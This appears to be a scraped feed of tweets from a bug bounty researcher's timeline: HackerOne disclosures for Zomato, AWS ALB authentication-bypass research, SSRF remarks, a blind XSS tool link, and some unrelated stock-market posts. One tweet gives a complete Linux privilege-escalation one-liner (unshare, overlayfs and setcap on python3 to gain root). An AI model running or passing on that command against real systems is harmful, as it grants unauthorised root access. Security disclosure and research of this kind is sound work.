ZHacker

#BugBounty "Instagram User? your details may Leaked" Facebook confirmed my critical vulnerability (leads to "Data Leak" of Instagram Users): forbes.com/sites/zakdoffm… Thanks! @UKZak @Forbes @LukasStefanko

Q2/1H catalysts

In case you're wondering, here's what the S&P did over the next few days

🔴 Trump: We may buy ships from other nations.

Someone bought $1.3M of $SPY 510C earlier, they are now worth $33M LOL

4/ Check out our blog to read the full research: miggo.io/resources/migg…

1/ When the #ALBeast issue meets open-source - Story time about how discovering ALBeast led to finding two additional CVEs (2024-8901 & CVE-2024-10125) 🧵👇

🚨We could bypass authentication to thousands of applications by exploiting a configuration-based vulnerability in AWS ALB. Here’s everything you need to know about the #ALBeast vulnerability discovered by @MiggoSecurity

Exploit is so easy it fits in a tweet🔥 unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

hackerone.com/reports/952501 hackerone.com/reports/838855 hackerone.com/reports/836079 hackerone.com/reports/953203 hackerone.com/reports/844428 Legend! @ZHacker13 CC: @prateek_0490

Zomato disclosed a bug submitted by @ZHacker13: hackerone.com/reports/953203 - Bounty: $150 #hackerone #bugbounty

Zomato disclosed a bug submitted by @ZHacker13: hackerone.com/reports/836079 - Bounty: $2,000 #hackerone #bugbounty

Zomato disclosed a bug submitted by @ZHacker13: hackerone.com/reports/844428 - Bounty: $100 #hackerone #bugbounty

Zomato disclosed a bug submitted by @ZHacker13: hackerone.com/reports/838855 - Bounty: $2,000 #hackerone #bugbounty

Zomato disclosed a bug submitted by @ZHacker13: hackerone.com/reports/952501 - Bounty: $2,000 #hackerone #bugbounty

SSRF + TLS rebinding! This must be one of my favorite web hacking technique in this year!

Yay! @Apple Bounty! <3 @iTunes.

My Blind XSS, XXE & SSRF detection and logging tool. github.com/SpiderMate/B-X…